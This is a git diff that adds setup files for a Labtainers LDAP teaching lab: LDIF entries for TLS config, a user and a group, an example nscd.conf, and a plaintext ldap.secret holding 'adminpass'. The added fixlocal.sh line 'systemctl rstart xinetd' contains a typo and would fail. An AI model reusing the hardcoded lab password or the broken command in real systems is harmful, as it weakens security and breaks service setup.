b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/ldap/_system/var/tmp/xkey.ldif new file mode 100644 index 000000000..332d17f29 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/ldap/_system/var/tmp/xkey.ldif @@ -0,0 +1,4 @@ +dn: cn=config +changetype: modify +replace: olcTLSCertificateKeyFile +olcTLSCertificateKeyFile: /etc/ldap/certs/exampleldap.key diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/ldap/mike.ldif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/ldap/mike.ldif new file mode 100755 index 000000000..fa678e592 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/ldap/mike.ldif @@ -0,0 +1,16 @@ +dn: uid=mike,ou=users,dc=example,dc=com +objectClass: top +objectClass: account +objectClass: posixAccount +objectClass: shadowAccount +cn: mike +uid: mike +uidNumber: 1501 +gidNumber: 1500 +homeDirectory: /home/mike +loginShell: /bin/bash +gecos: mike +userPassword: {crypt}x +shadowLastChange: 0 +shadowMax: 0 +shadowWarning: 0 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/ldap/projx.ldif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/ldap/projx.ldif new file mode 100755 index 000000000..b91dd9b2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/ldap/projx.ldif @@ -0,0 +1,4 @@ +dn: cn=projx,ou=groups,dc=example,dc=com +objectClass: top +objectClass: posixGroup +gidNumber: 1500 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/server1/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/server1/_bin/fixlocal.sh index bae4a3849..9f757e407 100755 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/server1/_bin/fixlocal.sh +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/server1/_bin/fixlocal.sh @@ -9,4 +9,4 @@ # # Configure the ldap client sudo /var/tmp/configure-ldap-client.sh - +sudo systemctl rstart xinetd diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/server1/_system/etc/ldap.secret b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/server1/_system/etc/ldap.secret new file mode 100644 index 000000000..19276aee1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/server1/_system/etc/ldap.secret @@ -0,0 +1 @@ +adminpass diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/server1/_system/etc/nscd.conf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/server1/_system/etc/nscd.conf new file mode 100644 index 000000000..609b14afd --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/server1/_system/etc/nscd.conf @@ -0,0 +1,96 @@ +# +# /etc/nscd.conf +# +# An example Name Service Cache config file. This file is needed by nscd. +# +# WARNING: Running nscd with a secondary caching service like sssd may lead to +# unexpected behaviour, especially with how long entries are cached. +# +# Legal entries are: +# +# logfile +# debug-level +# threads +# max-threads +# server-user +# server-user is ignored if nscd is started with -S parameters +# stat-user +# reload-count unlimited| +# paranoia +# restart-interval